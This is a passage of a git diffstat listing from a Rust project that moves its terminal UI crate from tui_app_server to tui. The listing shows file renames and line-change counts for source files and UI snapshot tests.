| 2 +- ...e_final_message_are_rendered_snapshot.snap | 1 - ...h_command_while_task_running_snapshot.snap | 0 ...pproval_history_decision_aborted_long.snap | 1 - ...al_history_decision_aborted_multiline.snap | 1 - ...roval_history_decision_approved_short.snap | 0 ...dget__tests__exec_approval_modal_exec.snap | 0 ...t__tests__experimental_features_popup.snap | 0 ...dget__tests__exploring_step1_start_ls.snap | 2 +- ...get__tests__exploring_step2_finish_ls.snap | 2 +- ..._tests__exploring_step3_start_cat_foo.snap | 2 +- ...tests__exploring_step4_finish_cat_foo.snap | 2 +- ...sts__exploring_step5_finish_sed_range.snap | 2 +- ...tests__exploring_step6_finish_cat_bar.snap | 2 +- ...s__feedback_good_result_consent_popup.snap | 0 ...dget__tests__feedback_selection_popup.snap | 0 ..._tests__feedback_upload_consent_popup.snap | 0 ...n_message_without_deltas_are_rendered.snap | 0 ...et__tests__forked_thread_history_line.snap | 0 ...rked_thread_history_line_without_name.snap | 0 ...tests__full_access_confirmation_popup.snap | 0 ...proved_exec_renders_approved_request.snap} | 2 +- ...ec_renders_warning_and_denied_request.snap | 10 +-- ...llel_reviews_render_aggregate_status.snap} | 2 +- ...mage_generation_call_history_snapshot.snap | 1 - ...rrupt_clears_unified_exec_wait_streak.snap | 0 ...t__tests__interrupt_exec_marks_failed.snap | 0 ...t_preserves_unified_exec_wait_streak.snap} | 2 +- ...tests__interrupted_turn_error_message.snap | 0 ...terrupted_turn_pending_steers_message.snap | 0 ...mmand_execution_strips_shell_wrapper.snap} | 2 +- ...cal_image_attachment_history_snapshot.snap | 0 ...et__tests__mcp_startup_header_booting.snap | 2 +- ...s__model_picker_filters_hidden_models.snap | 1 - ...ests__model_reasoning_selection_popup.snap | 0 ...ng_selection_popup_extra_high_warning.snap | 0 ...twidget__tests__model_selection_popup.snap | 0 ...get__tests__multi_agent_enable_prompt.snap | 1 - ...s_selection_history_after_mode_switch.snap | 1 - ...ection_history_full_access_to_default.snap | 0 ...istory_full_access_to_default@windows.snap | 0 ...t__tests__personality_selection_popup.snap | 0 ...get__tests__plan_implementation_popup.snap | 0 ...plan_implementation_popup_no_selected.snap | 0 ...sts__plugin_detail_popup_installable.snap} | 2 +- ...tests__plugin_detail_popup_installed.snap} | 2 +- ...s__plugins_popup_curated_marketplace.snap} | 2 +- ...__tests__plugins_popup_loading_state.snap} | 2 +- ...tests__plugins_popup_search_filtered.snap} | 2 +- ...tool_use_hook_events_render_snapshot.snap} | 2 +- ...tool_use_hook_events_render_snapshot.snap} | 2 +- ..._tests__preamble_keeps_working_status.snap | 2 +- ...tests__rate_limit_switch_prompt_popup.snap | 0 ...tests__realtime_audio_selection_popup.snap | 0 ...realtime_audio_selection_popup_narrow.snap | 0 ...sts__realtime_microphone_picker_popup.snap | 2 +- ...ayed_interrupted_reconnect_footer_row.snap | 1 - ...review_queues_user_messages_snapshot.snap} | 2 +- ...on_start_hook_events_render_snapshot.snap} | 2 +- ...ts__slash_copy_no_output_info_message.snap | 3 +- ...__tests__status_line_fast_mode_footer.snap | 0 ...line_model_with_reasoning_fast_footer.snap | 0 ...odel_with_reasoning_plan_mode_footer.snap} | 2 +- ...atwidget__tests__status_widget_active.snap | 2 +- ...sts__status_widget_and_approval_modal.snap | 0 ...ed_exec_begin_restores_working_status.snap | 2 +- ...ified_exec_empty_then_non_empty_after.snap | 0 ...fied_exec_non_empty_then_empty_active.snap | 0 ...ified_exec_non_empty_then_empty_after.snap | 0 ...nknown_end_with_active_exploring_cell.snap | 0 ...d_exec_wait_after_final_agent_message.snap | 0 ...ec_wait_before_streamed_agent_message.snap | 0 ...renders_command_in_single_details_row.snap | 2 +- ...ied_exec_waiting_multiple_empty_after.snap | 0 ..._tui__chatwidget__tests__update_popup.snap | 0 ...r_hook_notifications_render_snapshot.snap} | 2 +- ...ok_notifications_render_snapshot.snap.new} | 2 +- ...atwidget__tests__user_shell_ls_output.snap | 0 .../src/chatwidget/status_surfaces.rs | 0 .../src/chatwidget/tests.rs | 0 codex-rs/{tui_app_server => tui}/src/cli.rs | 0 .../src/clipboard_paste.rs | 0 .../src/clipboard_text.rs | 0 .../src/collaboration_modes.rs | 0 codex-rs/{tui_app_server => tui}/src/color.rs | 0 .../src/custom_terminal.rs | 0 .../{tui_app_server => tui}/src/cwd_prompt.rs | 0 .../src/debug_config.rs | 0 .../src/diff_render.rs | 0 .../src/exec_cell/mod.rs | 0 .../src/exec_cell/model.rs | 0 .../src/exec_cell/render.rs | 0 .../src/exec_command.rs | 0 .../src/external_editor.rs | 0 .../src/file_search.rs | 0 .../{tui_app_server => tui}/src/frames.rs | 0 .../src/get_git_diff.rs | 0 .../src/history_cell.rs | 0 .../src/insert_history.rs | 0 .../{tui_app_server => tui}/src/key_hint.rs | 0 codex-rs/{tui_app_server => tui}/src/lib.rs | 0 .../src/line_truncation.rs | 0 .../{tui_app_server => tui}/src/live_wrap.rs | 0 .../src/local_chatgpt_auth.rs | 0 codex-rs/{tui_app_server => tui}/src/main.rs | 4 +- .../{tui_app_server => tui}/src/markdown.rs | 0 .../src/markdown_render.rs | 0 .../src/markdown_render_tests.rs | 38 ++++++------ .../src/markdown_stream.rs | 0 .../src/mention_codec.rs | 0 .../src/model_catalog.rs | 0 .../src/model_migration.rs | 0 .../src/multi_agents.rs | 0 .../src/notifications/bel.rs | 0 .../src/notifications/mod.rs | 0 .../src/notifications/osc9.rs | 0 .../src/onboarding/auth.rs | 0 .../onboarding/auth/headless_chatgpt_login.rs | 0 .../src/onboarding/mod.rs | 0 .../src/onboarding/onboarding_screen.rs | 0 ..._tests__renders_snapshot_for_git_repo.snap | 1 - .../src/onboarding/trust_directory.rs | 0 .../src/onboarding/welcome.rs | 0 .../src/oss_selection.rs | 0 .../src/pager_overlay.rs | 0 .../src/public_widgets/composer_input.rs | 0 .../src/public_widgets/mod.rs | 0 .../src/render/highlight.rs | 0 .../src/render/line_utils.rs | 0 .../{tui_app_server => tui}/src/render/mod.rs | 0 .../src/render/renderable.rs | 0 ...tests__ansi_family_foreground_palette.snap | 0 .../src/resume_picker.rs | 0 .../src/selection_list.rs | 0 .../src/session_log.rs | 0 .../{tui_app_server => tui}/src/shimmer.rs | 0 .../src/skills_helpers.rs | 0 .../src/slash_command.rs | 0 ...i__app__tests__agent_picker_item_name.snap | 0 ...ter_long_transcript_fresh_header_only.snap | 0 ...lear_ui_header_fast_status_gpt54_only.snap | 0 ...gration_prompt_shows_for_hidden_model.snap | 0 ..._prompt__tests__cwd_prompt_fork_modal.snap | 0 ...__cwd_prompt__tests__cwd_prompt_modal.snap | 0 ..._tui__diff_render__tests__add_details.snap | 0 ...s__ansi16_insert_delete_no_background.snap | 0 ...__diff_render__tests__apply_add_block.snap | 0 ...iff_render__tests__apply_delete_block.snap | 0 ...er__tests__apply_multiple_files_block.snap | 0 ...iff_render__tests__apply_update_block.snap | 0 ..._block_line_numbers_three_digits_text.snap | 0 ...__apply_update_block_relativizes_path.snap | 0 ...__apply_update_block_wraps_long_lines.snap | 0 ...ly_update_block_wraps_long_lines_text.snap | 0 ...tests__apply_update_with_rename_block.snap | 0 ...iff_render__tests__blank_context_line.snap | 0 ...ff_render__tests__diff_gallery_120x40.snap | 0 ...iff_render__tests__diff_gallery_80x24.snap | 0 ...iff_render__tests__diff_gallery_94x35.snap | 0 ...tests__single_line_replacement_counts.snap | 0 ...ests__syntax_highlighted_insert_wraps.snap | 0 ..._syntax_highlighted_insert_wraps_text.snap | 0 ...ts__theme_scope_background_resolution.snap | 0 ...er__tests__update_details_with_rename.snap | 0 ...ests__vertical_ellipsis_between_hunks.snap | 0 ...f_render__tests__wrap_behavior_insert.snap | 0 ..._tests__active_mcp_tool_call_snapshot.snap | 1 - ...__tests__coalesced_reads_dedupe_names.snap | 0 ...coalesces_reads_across_multiple_calls.snap | 0 ...sces_sequential_reads_within_one_call.snap | 0 ...ompleted_mcp_tool_call_error_snapshot.snap | 1 - ...call_multiple_outputs_inline_snapshot.snap | 1 - ...p_tool_call_multiple_outputs_snapshot.snap | 1 - ...pleted_mcp_tool_call_success_snapshot.snap | 1 - ...cp_tool_call_wrapped_outputs_snapshot.snap | 1 - ..._error_event_oversized_input_snapshot.snap | 0 ...ests__mcp_inventory_loading_snapshot.snap} | 2 +- ...statuses_renders_status_only_servers.snap} | 2 +- ...ts_tools_for_hyphenated_server_names.snap} | 2 +- ...p_tools_output_masks_sensitive_values.snap | 1 - ...both_lines_wrap_with_correct_prefixes.snap | 0 ...ut_wrap_uses_branch_then_eight_spaces.snap | 0 ...with_extra_indent_on_subsequent_lines.snap | 0 ...pdate_with_note_and_wrapping_snapshot.snap | 0 ...ts__plan_update_without_note_snapshot.snap | 0 ...put_chunk_leading_whitespace_snapshot.snap | 0 ...cell__tests__ps_output_empty_snapshot.snap | 0 ...ests__ps_output_long_command_snapshot.snap | 0 ...sts__ps_output_many_sessions_snapshot.snap | 0 ...__tests__ps_output_multiline_snapshot.snap | 0 ...n_cell_multiline_with_stderr_snapshot.snap | 0 ...nfo_availability_nux_tooltip_snapshot.snap | 0 ...single_line_command_compact_when_fits.snap | 0 ...nd_wraps_with_four_space_continuation.snap | 0 ...rr_tail_more_than_five_lines_snapshot.snap | 0 ...y_cell_numbers_multiple_remote_images.snap | 0 ...istory_cell_renders_remote_image_urls.snap | 0 ...wraps_and_prefixes_each_line_snapshot.snap | 1 + ...sts__web_search_history_cell_snapshot.snap | 0 ...arch_history_cell_transcript_snapshot.snap | 0 ...sts__markdown_render_complex_snapshot.snap | 0 ...s__markdown_render_file_link_snapshot.snap | 1 - ...ration__tests__model_migration_prompt.snap | 0 ...ts__model_migration_prompt_gpt5_codex.snap | 0 ...odel_migration_prompt_gpt5_codex_mini.snap | 0 ...s__model_migration_prompt_gpt5_family.snap | 0 ...gents__tests__collab_agent_transcript.snap | 0 ...ts__tests__collab_resume_interrupted.snap} | 2 +- ..._tests__static_overlay_snapshot_basic.snap | 0 ...ests__static_overlay_wraps_long_lines.snap | 1 - ...ript_overlay_apply_patch_scroll_vt100.snap | 0 ..._transcript_overlay_renders_live_tail.snap | 0 ...ts__transcript_overlay_snapshot_basic.snap | 0 ...e_picker__tests__resume_picker_screen.snap | 0 ...er__tests__resume_picker_search_error.snap | 0 ...me_picker__tests__resume_picker_table.snap | 0 ...er__tests__resume_picker_thread_names.snap | 0 ...ator_widget__tests__renders_truncated.snap | 0 ...__tests__renders_with_queued_messages.snap | 0 ...s__renders_with_queued_messages@macos.snap | 0 ...t__tests__renders_with_working_header.snap | 0 ...ders_wrapped_details_panama_two_lines.snap | 0 ...te_prompt__tests__update_prompt_modal.snap | 0 .../src/status/account.rs | 0 .../src/status/card.rs | 0 .../src/status/format.rs | 0 .../src/status/helpers.rs | 0 .../{tui_app_server => tui}/src/status/mod.rs | 0 .../src/status/rate_limits.rs | 0 ...ched_limits_hide_credits_without_flag.snap | 0 ..._snapshot_includes_credits_and_limits.snap | 0 ..._status_snapshot_includes_forked_from.snap | 0 ...tatus_snapshot_includes_monthly_limit.snap | 0 ...s_snapshot_includes_reasoning_details.snap | 0 ...s_snapshot_shows_empty_limits_message.snap | 0 ...snapshot_shows_missing_limits_message.snap | 0 ...s_snapshot_shows_stale_limits_message.snap | 0 ...snapshot_truncates_in_narrow_terminal.snap | 0 .../src/status/tests.rs | 0 .../src/status_indicator_widget.rs | 0 .../src/streaming/chunking.rs | 0 .../src/streaming/commit_tick.rs | 0 .../src/streaming/controller.rs | 0 .../src/streaming/mod.rs | 0 codex-rs/{tui_app_server => tui}/src/style.rs | 0 .../src/terminal_palette.rs | 0 .../src/terminal_title.rs | 0 .../src/test_backend.rs | 0 .../src/test_support.rs | 0 .../src/text_formatting.rs | 0 .../src/theme_picker.rs | 0 .../{tui_app_server => tui}/src/tooltips.rs | 0 codex-rs/{tui_app_server => tui}/src/tui.rs | 0 .../src/tui/event_stream.rs | 0 .../src/tui/frame_rate_limiter.rs | 0 .../src/tui/frame_requester.rs | 0 .../src/tui/job_control.rs | 0 .../{tui_app_server => tui}/src/ui_consts.rs | 0 .../src/update_action.rs | 0 .../src/update_prompt.rs | 0 .../{tui_app_server => tui}/src/updates.rs | 0 .../{tui_app_server => tui}/src/version.rs | 0 codex-rs/{tui_app_server => tui}/src/voice.rs | 0 .../{tui_app_server => tui}/src/wrapping.rs | 0 codex-rs/{tui_app_server => tui}/styles.md | 0 codex-rs/{tui_app_server => tui}/tests/all.rs | 0 .../tests/fixtures/oss-story.jsonl | 0 .../tests/manager_dependency_regression.rs | 2 +- .../tests/suite/mod.rs | 0 .../tests/suite/model_availability_nux.rs | 0 .../tests/suite/no_panic_on_startup.rs | 0 .../tests/suite/status_indicator.rs | 0 .../tests/suite/vt100_history.rs | 6 +- .../tests/suite/vt100_live_commit.rs | 6 +- .../tests/test_backend.rs | 0 codex-rs/{tui_app_server => tui}/tooltips.txt | 0 codex-rs/tui_app_server/src/bin/codex-tui.rs | 45 -------------- ...tests__request_user_input_footer_wrap.snap | 14 ----- ...t__tests__request_user_input_freeform.snap | 13 ---- ...uest_user_input_hidden_options_footer.snap | 13 ---- ...__request_user_input_long_option_text.snap | 17 ----- ...quest_user_input_multi_question_first.snap | 13 ---- ...equest_user_input_multi_question_last.snap | 15 ----- ...ut__tests__request_user_input_options.snap | 13 ---- ...uest_user_input_options_notes_visible.snap | 19 ------ ..._request_user_input_scrolling_options.snap | 15 ----- ...ests__request_user_input_tight_height.snap | 13 ---- ...st_user_input_unanswered_confirmation.snap | 15 ----- ...s__request_user_input_wrapped_options.snap | 13 ---- ..._pending_steers_above_queued_messages.snap | 34 ---------- ...nk_view_enable_suggestion_with_reason.snap | 20 ------ ...k_view_install_suggestion_with_reason.snap | 18 ------ ...overlay_additional_permissions_prompt.snap | 17 ----- ..._approval_overlay_cross_thread_prompt.snap | 15 ----- ...__approval_overlay_permissions_prompt.snap | 16 ----- ...l_overlay__tests__network_exec_prompt.snap | 37 ----------- ...mposer__tests__backspace_after_pastes.snap | 14 ----- ...tom_pane__chat_composer__tests__empty.snap | 14 ----- ...er__tests__footer_collapse_empty_full.snap | 13 ---- ...ollapse_empty_mode_cycle_with_context.snap | 13 ---- ...apse_empty_mode_cycle_without_context.snap | 13 ---- ...ests__footer_collapse_empty_mode_only.snap | 13 ---- ...ests__footer_collapse_plan_empty_full.snap | 13 ---- ...se_plan_empty_mode_cycle_with_context.snap | 13 ---- ...plan_empty_mode_cycle_without_context.snap | 13 ---- ..._footer_collapse_plan_empty_mode_only.snap | 13 ---- ...ests__footer_collapse_plan_queue_full.snap | 13 ---- ...se_plan_queue_message_without_context.snap | 13 ---- ..._footer_collapse_plan_queue_mode_only.snap | 13 ---- ...ollapse_plan_queue_short_with_context.snap | 13 ---- ...apse_plan_queue_short_without_context.snap | 13 ---- ...er__tests__footer_collapse_queue_full.snap | 13 ---- ...ollapse_queue_message_without_context.snap | 13 ---- ...ests__footer_collapse_queue_mode_only.snap | 13 ---- ...ter_collapse_queue_short_with_context.snap | 13 ---- ..._collapse_queue_short_without_context.snap | 13 ---- ...__tests__footer_mode_ctrl_c_interrupt.snap | 13 ---- ...poser__tests__footer_mode_ctrl_c_quit.snap | 13 ---- ...sts__footer_mode_ctrl_c_then_esc_hint.snap | 13 ---- ...tests__footer_mode_esc_hint_backtrack.snap | 13 ---- ...ts__footer_mode_esc_hint_from_overlay.snap | 13 ---- ...ests__footer_mode_hidden_while_typing.snap | 13 ---- ...r_mode_overlay_then_external_esc_hint.snap | 13 ---- ...__tests__footer_mode_shortcut_overlay.snap | 18 ------ ...er__tests__image_placeholder_multiple.snap | 13 ---- ...oser__tests__image_placeholder_single.snap | 13 ---- ...tom_pane__chat_composer__tests__large.snap | 14 ----- ...r__tests__mention_popup_type_prefixes.snap | 13 ---- ...chat_composer__tests__multiple_pastes.snap | 14 ----- ...composer__tests__plugin_mention_popup.snap | 13 ---- ...at_composer__tests__remote_image_rows.snap | 13 ---- ..._remote_image_rows_after_delete_first.snap | 13 ---- ...er__tests__remote_image_rows_selected.snap | 13 ---- ..._chat_composer__tests__slash_popup_mo.snap | 9 --- ...chat_composer__tests__slash_popup_res.snap | 10 --- ...tom_pane__chat_composer__tests__small.snap | 14 ----- ...view__tests__feedback_view_bad_result.snap | 9 --- ...edback_view__tests__feedback_view_bug.snap | 9 --- ...iew__tests__feedback_view_good_result.snap | 9 --- ...back_view__tests__feedback_view_other.snap | 9 --- ...ew__tests__feedback_view_safety_check.snap | 9 --- ...ck_view_with_connectivity_diagnostics.snap | 9 --- ...ter__tests__footer_active_agent_label.snap | 5 -- ...composer_has_draft_queue_hint_enabled.snap | 5 -- ...er__tests__footer_context_tokens_used.snap | 5 -- ...ooter__tests__footer_ctrl_c_quit_idle.snap | 5 -- ...er__tests__footer_ctrl_c_quit_running.snap | 5 -- ...__footer__tests__footer_esc_hint_idle.snap | 5 -- ...footer__tests__footer_esc_hint_primed.snap | 5 -- ...r_mode_indicator_narrow_overlap_hides.snap | 5 -- ...ter_mode_indicator_running_hides_hint.snap | 5 -- ...er__tests__footer_mode_indicator_wide.snap | 5 -- ...shortcuts_collaboration_modes_enabled.snap | 10 --- ...sts__footer_shortcuts_context_running.snap | 5 -- ...oter__tests__footer_shortcuts_default.snap | 5 -- ...tests__footer_shortcuts_shift_and_esc.snap | 10 --- ...er_status_line_disabled_context_right.snap | 5 -- ...footer_status_line_enabled_mode_right.snap | 5 -- ...ter_status_line_enabled_no_mode_right.snap | 5 -- ...oter_status_line_overrides_draft_idle.snap | 5 -- ...ooter_status_line_overrides_shortcuts.snap | 5 -- ...footer_status_line_truncated_with_gap.snap | 5 -- ...r_status_line_with_active_agent_label.snap | 5 -- ...oter_status_line_yields_to_queue_hint.snap | 5 -- ...n_col_width_mode_auto_all_rows_scroll.snap | 30 --------- ...on_col_width_mode_auto_visible_scroll.snap | 30 --------- ...selection_col_width_mode_fixed_scroll.snap | 30 --------- ...sts__list_selection_footer_note_wraps.snap | 13 ---- ..._list_selection_model_picker_width_80.snap | 13 ---- ...selection_narrow_width_preserves_rows.snap | 16 ----- ..._list_selection_spacing_with_subtitle.snap | 12 ---- ...st_selection_spacing_without_subtitle.snap | 11 ---- ...tion_approval_form_with_param_summary.snap | 19 ------ ...on_approval_form_with_session_persist.snap | 19 ------ ...citation_approval_form_without_schema.snap | 19 ------ ...__mcp_server_elicitation_boolean_form.snap | 19 ------ ...view__tests__render_many_line_message.snap | 30 --------- ...ests__render_more_than_three_messages.snap | 33 ---------- ...teer_uses_single_prefix_and_truncates.snap | 29 --------- ...ut_preview__tests__render_one_message.snap | 21 ------- ...view__tests__render_one_pending_steer.snap | 20 ------ ...t_preview__tests__render_two_messages.snap | 25 -------- ...review__tests__render_wrapped_message.snap | 28 --------- ...ggle_view__tests__skills_toggle_basic.snap | 14 ----- ..._snapshot_uses_runtime_preview_values.snap | 21 ------- ...s_visible_when_status_hidden_snapshot.snap | 11 ---- ...er_fill_height_without_bottom_padding.snap | 10 --- ...__status_and_queued_messages_snapshot.snap | 13 ---- ...tom_pane__tests__status_only_snapshot.snap | 10 --- ..._details_and_queued_messages_snapshot.snap | 15 ----- ...c_footer__tests__render_many_sessions.snap | 13 ---- ...c_footer__tests__render_more_sessions.snap | 13 ---- ...dget__tests__apps_popup_loading_state.snap | 8 --- ...pproved_exec_renders_approved_request.snap | 17 ----- ...allel_reviews_render_aggregate_status.snap | 13 ---- ..._review_queues_user_messages_snapshot.snap | 22 ------- ...ly_patch_manual_flow_history_approved.snap | 6 -- ...hatwidget__tests__approval_modal_exec.snap | 17 ----- ...l_exec_multiline_prefix_no_execpolicy.snap | 16 ----- ..._tests__approval_modal_exec_no_reason.snap | 15 ----- ...atwidget__tests__approval_modal_patch.snap | 20 ------ ...get__tests__approvals_selection_popup.snap | 14 ----- ...ts__approvals_selection_popup@windows.snap | 17 ----- ...chatwidget__tests__chat_small_idle_h1.snap | 5 -- ...chatwidget__tests__chat_small_idle_h2.snap | 6 -- ...chatwidget__tests__chat_small_idle_h3.snap | 7 --- ...twidget__tests__chat_small_running_h1.snap | 5 -- ...twidget__tests__chat_small_running_h2.snap | 6 -- ...twidget__tests__chat_small_running_h3.snap | 7 --- ...exec_and_status_layout_vt100_snapshot.snap | 44 ------------- ...t_markdown_code_blocks_vt100_snapshot.snap | 53 ---------------- ...r__chatwidget__tests__chatwidget_tall.snap | 27 -------- ...e_final_message_are_rendered_snapshot.snap | 5 -- ...h_command_while_task_running_snapshot.snap | 5 -- ...pproval_history_decision_aborted_long.snap | 6 -- ...al_history_decision_aborted_multiline.snap | 5 -- ...roval_history_decision_approved_short.snap | 5 -- ...dget__tests__exec_approval_modal_exec.snap | 39 ------------ ...t__tests__experimental_features_popup.snap | 11 ---- ...dget__tests__exploring_step1_start_ls.snap | 6 -- ...get__tests__exploring_step2_finish_ls.snap | 6 -- ..._tests__exploring_step3_start_cat_foo.snap | 7 --- ...tests__exploring_step4_finish_cat_foo.snap | 7 --- ...sts__exploring_step5_finish_sed_range.snap | 7 --- ...tests__exploring_step6_finish_cat_bar.snap | 7 --- ...s__feedback_good_result_consent_popup.snap | 15 ----- ...dget__tests__feedback_selection_popup.snap | 13 ---- ..._tests__feedback_upload_consent_popup.snap | 19 ------ ...n_message_without_deltas_are_rendered.snap | 5 -- ...et__tests__forked_thread_history_line.snap | 5 -- ...rked_thread_history_line_without_name.snap | 5 -- ...tests__full_access_confirmation_popup.snap | 15 ----- ...ec_renders_warning_and_denied_request.snap | 17 ----- ...mage_generation_call_history_snapshot.snap | 7 --- ...t__tests__interrupt_exec_marks_failed.snap | 6 -- ...tests__interrupted_turn_error_message.snap | 5 -- ...terrupted_turn_pending_steers_message.snap | 5 -- ...cal_image_attachment_history_snapshot.snap | 6 -- ...et__tests__mcp_startup_header_booting.snap | 11 ---- ...s__model_picker_filters_hidden_models.snap | 10 --- ...ests__model_reasoning_selection_popup.snap | 12 ---- ...ng_selection_popup_extra_high_warning.snap | 15 ----- ...twidget__tests__model_selection_popup.snap | 18 ------ ...get__tests__multi_agent_enable_prompt.snap | 11 ---- ...s_selection_history_after_mode_switch.snap | 5 -- ...ection_history_full_access_to_default.snap | 5 -- ...istory_full_access_to_default@windows.snap | 5 -- ...t__tests__personality_selection_popup.snap | 11 ---- ...get__tests__plan_implementation_popup.snap | 10 --- ...plan_implementation_popup_no_selected.snap | 10 --- ..._tests__preamble_keeps_working_status.snap | 11 ---- ...tests__rate_limit_switch_prompt_popup.snap | 14 ----- ...tests__realtime_audio_selection_popup.snap | 11 ---- ...realtime_audio_selection_popup_narrow.snap | 11 ---- ...sts__realtime_microphone_picker_popup.snap | 18 ------ ...ayed_interrupted_reconnect_footer_row.snap | 5 -- ...ts__slash_copy_no_output_info_message.snap | 5 -- ...__tests__status_line_fast_mode_footer.snap | 9 --- ...line_model_with_reasoning_fast_footer.snap | 9 --- ...atwidget__tests__status_widget_active.snap | 11 ---- ...sts__status_widget_and_approval_modal.snap | 17 ----- ...ed_exec_begin_restores_working_status.snap | 11 ---- ...ified_exec_empty_then_non_empty_after.snap | 8 --- ...fied_exec_non_empty_then_empty_active.snap | 6 -- ...ified_exec_non_empty_then_empty_after.snap | 8 --- ...nknown_end_with_active_exploring_cell.snap | 11 ---- ...d_exec_wait_after_final_agent_message.snap | 7 --- ...ec_wait_before_streamed_agent_message.snap | 7 --- ...renders_command_in_single_details_row.snap | 11 ---- ...ied_exec_waiting_multiple_empty_after.snap | 5 -- ...atwidget__tests__user_shell_ls_output.snap | 7 --- ..._tests__renders_snapshot_for_git_repo.snap | 13 ---- ...tests__ansi_family_foreground_palette.snap | 21 ------- ...r__app__tests__agent_picker_item_name.snap | 9 --- ...ter_long_transcript_fresh_header_only.snap | 10 --- ...lear_ui_header_fast_status_gpt54_only.snap | 10 --- ...gration_prompt_shows_for_hidden_model.snap | 11 ---- ..._prompt__tests__cwd_prompt_fork_modal.snap | 14 ----- ...__cwd_prompt__tests__cwd_prompt_modal.snap | 14 ----- ...s__ansi16_insert_delete_no_background.snap | 8 --- ...__diff_render__tests__apply_add_block.snap | 14 ----- ...iff_render__tests__apply_delete_block.snap | 16 ----- ...er__tests__apply_multiple_files_block.snap | 18 ------ ...iff_render__tests__apply_update_block.snap | 16 ----- ..._block_line_numbers_three_digits_text.snap | 13 ---- ...__apply_update_block_relativizes_path.snap | 14 ----- ...__apply_update_block_wraps_long_lines.snap | 16 ----- ...ly_update_block_wraps_long_lines_text.snap | 15 ----- ...tests__apply_update_with_rename_block.snap | 16 ----- ...ff_render__tests__diff_gallery_120x40.snap | 44 ------------- ...iff_render__tests__diff_gallery_80x24.snap | 28 --------- ...iff_render__tests__diff_gallery_94x35.snap | 39 ------------ ...ests__syntax_highlighted_insert_wraps.snap | 14 ----- ..._syntax_highlighted_insert_wraps_text.snap | 7 --- ...ts__theme_scope_background_resolution.snap | 6 -- ...f_render__tests__wrap_behavior_insert.snap | 12 ---- ..._tests__active_mcp_tool_call_snapshot.snap | 5 -- ...__tests__coalesced_reads_dedupe_names.snap | 6 -- ...coalesces_reads_across_multiple_calls.snap | 7 --- ...sces_sequential_reads_within_one_call.snap | 8 --- ...ompleted_mcp_tool_call_error_snapshot.snap | 6 -- ...call_multiple_outputs_inline_snapshot.snap | 7 --- ...p_tool_call_multiple_outputs_snapshot.snap | 10 --- ...pleted_mcp_tool_call_success_snapshot.snap | 6 -- ...cp_tool_call_wrapped_outputs_snapshot.snap | 13 ---- ..._error_event_oversized_input_snapshot.snap | 5 -- ...p_tools_output_masks_sensitive_values.snap | 26 -------- ...both_lines_wrap_with_correct_prefixes.snap | 9 --- ...ut_wrap_uses_branch_then_eight_spaces.snap | 7 --- ...with_extra_indent_on_subsequent_lines.snap | 8 --- ...pdate_with_note_and_wrapping_snapshot.snap | 20 ------ ...ts__plan_update_without_note_snapshot.snap | 7 --- ...put_chunk_leading_whitespace_snapshot.snap | 11 ---- ...cell__tests__ps_output_empty_snapshot.snap | 9 --- ...ests__ps_output_long_command_snapshot.snap | 10 --- ...sts__ps_output_many_sessions_snapshot.snap | 25 -------- ...__tests__ps_output_multiline_snapshot.snap | 13 ---- ...n_cell_multiline_with_stderr_snapshot.snap | 12 ---- ...nfo_availability_nux_tooltip_snapshot.snap | 12 ---- ...single_line_command_compact_when_fits.snap | 6 -- ...nd_wraps_with_four_space_continuation.snap | 8 --- ...rr_tail_more_than_five_lines_snapshot.snap | 10 --- ...y_cell_numbers_multiple_remote_images.snap | 9 --- ...istory_cell_renders_remote_image_urls.snap | 8 --- ...wraps_and_prefixes_each_line_snapshot.snap | 9 --- ...sts__web_search_history_cell_snapshot.snap | 6 -- ...arch_history_cell_transcript_snapshot.snap | 6 -- ...sts__markdown_render_complex_snapshot.snap | 62 ------------------- ...s__markdown_render_file_link_snapshot.snap | 5 -- ...ration__tests__model_migration_prompt.snap | 18 ------ ...ts__model_migration_prompt_gpt5_codex.snap | 15 ----- ...odel_migration_prompt_gpt5_codex_mini.snap | 15 ----- ...s__model_migration_prompt_gpt5_family.snap | 13 ---- ...gents__tests__collab_agent_transcript.snap | 17 ----- ..._tests__static_overlay_snapshot_basic.snap | 14 ----- ...ests__static_overlay_wraps_long_lines.snap | 12 ---- ...ript_overlay_apply_patch_scroll_vt100.snap | 15 ----- ..._transcript_overlay_renders_live_tail.snap | 14 ----- ...ts__transcript_overlay_snapshot_basic.snap | 14 ----- ...er__tests__resume_picker_search_error.snap | 5 -- ...me_picker__tests__resume_picker_table.snap | 8 --- ...er__tests__resume_picker_thread_names.snap | 7 --- ...ator_widget__tests__renders_truncated.snap | 6 -- ...t__tests__renders_with_working_header.snap | 6 -- ...ders_wrapped_details_panama_two_lines.snap | 7 --- ...ched_limits_hide_credits_without_flag.snap | 23 ------- ..._snapshot_includes_credits_and_limits.snap | 23 ------- ..._status_snapshot_includes_forked_from.snap | 23 ------- ...tatus_snapshot_includes_monthly_limit.snap | 21 ------- ...s_snapshot_includes_reasoning_details.snap | 22 ------- ...s_snapshot_shows_empty_limits_message.snap | 21 ------- ...snapshot_shows_missing_limits_message.snap | 21 ------- ...s_snapshot_shows_stale_limits_message.snap | 23 ------- ...snapshot_truncates_in_narrow_terminal.snap | 21 ------- docs/tui-alternate-screen.md | 2 +- docs/tui-chat-composer.md | 10 +-- docs/tui-stream-chunking-review.md | 8 +-- docs/tui-stream-chunking-tuning.md | 4 +- 1128 files changed, 151 insertions(+), 3814 deletions(-) rename codex-rs/{tui_app_server => tui}/BUILD.bazel (89%) rename codex-rs/{tui_app_server => tui}/Cargo.toml (97%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_1.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_10.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_11.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_12.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_13.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_14.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_15.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_16.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_17.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_18.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_19.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_2.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_20.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_21.txt (100%) rename codex-rs/{tui_app_server => tui}/frames/blocks/frame_22.txt (100%) rename codex-rs/{tui_app_server => 